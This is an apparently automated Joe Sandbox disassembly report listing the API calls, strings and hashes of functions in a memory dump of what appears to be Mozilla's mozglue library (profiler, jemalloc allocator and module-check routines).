Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
nvdxgiwrap.dll, xrefs: 6C666513
user32.dll, xrefs: 6C666526
_etoured.dll, xrefs: 6C6664ED
nvd3d9wrap.dll, xrefs: 6C666500
detoured.dll, xrefs: 6C6664DA

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

MOZ_CRASH(), xrefs: 6C67E62B
Compile-time page size does not divide the runtime one., xrefs: 6C67E621
MALLOC_OPTIONS, xrefs: 6C67E3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5
<jemalloc>, xrefs: 6C67E61C, 6C67E6CC
: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 6C6BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C6BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C6C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C6C0ED4

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction ID: 09fc73846ed4e5b5e4925d412a24fb1bb0b96869d3e965f44c9892b77a9da60c
Opcode Fuzzy Hash: c8e1b55e4da7bfd3646139be31583bd68617d8375b9079d4d794990734b32e14
Instruction Fuzzy Hash: F063AD75E0025A8FCB04CFA8C8806DDFBB2FF89304F298269D855BB755D730A946CB95

Function 6C693E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>il,?,?,?,6C693E7D,?,?), ref: 6C6B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C693F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C693F5C
VerSetConditionMask.NTDLL ref: 6C693F8D
VerSetConditionMask.NTDLL ref: 6C693F99
VerSetConditionMask.NTDLL ref: 6C693FA0
VerSetConditionMask.NTDLL ref: 6C693FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C693FB4

Strings

C>il, xrefs: 6C693E93
nvinit.dll, xrefs: 6C694479
nvd3d9wrap.dll, xrefs: 6C694466

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>il$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-416255230
Opcode ID: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction ID: c4b7b43111936190e031cebce628acb0aecf7b3affde093ccdcb8ce31f9d9907
Opcode Fuzzy Hash: 90aaa3219a0734a8e10a1853969c769a5af7cb6c33ae41dd46dc9edeb52facce
Instruction Fuzzy Hash: 2452F531614B459FDB10DF348480ABBB7E9AF86304F04096DE5978BB82CB74F909CB68

Function 6C66FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_CRASH(), xrefs: 6C670CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4, 6C671A10

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction ID: c5f8d1fd12965b830365947a9c50168999fe390861b717d07dff7eeaa7903c5c
Opcode Fuzzy Hash: 377a90b1383cd4f6e410060cebd0b236d3e52c14ea21b1dc2458dfe8be273a8a
Instruction Fuzzy Hash: 99B2FE316057418FD724CF28C5D0716BBE1BF85328F28CA6DE86A8BB95C731E840CB69

Function 6C6A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A5AC8, 6C6A5CBB
expected a Count entry, xrefs: 6C6A5AC3
name, xrefs: 6C6A5E79, 6C6A5E8F
data, xrefs: 6C6A6131
schema, xrefs: 6C6A606D
expected a Time entry, xrefs: 6C6A5CB6

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction ID: 15787890fe778cc31cb661b3cbed2d527a4f8242da0139c910558a72f95608e2
Opcode Fuzzy Hash: 76e69116b1e6e1704ffc8b5cc9e5656b803a2a136cdc7f196174341f995c3bdf
Instruction Fuzzy Hash: 1F926CB1A087418FD724CF59C49079AB7E1FFC9308F14891DE59A9B751DB30E80ACB9A

Function 6C667810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C667885
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6678A5
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C6678AD
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C6678CD
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C6678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C66795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C6679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C667BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C667C82
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C667CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C667DAF

Strings

Dml, xrefs: 6C66789F
Dml, xrefs: 6C66787F

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dml$Dml
API String ID: 759993129-3425531392
Opcode ID: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction ID: 125649142443908d71c898b46f96a21a619487f8041afc8721a811fe35b8d554
Opcode Fuzzy Hash: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction Fuzzy Hash: D3027471A0121ACFDB54CF1AC984799B7B5FF88318F2542AAD809A7B11D730BE91CF85

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D
set , xrefs: 6C6A36EC
get , xrefs: 6C6A3205

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
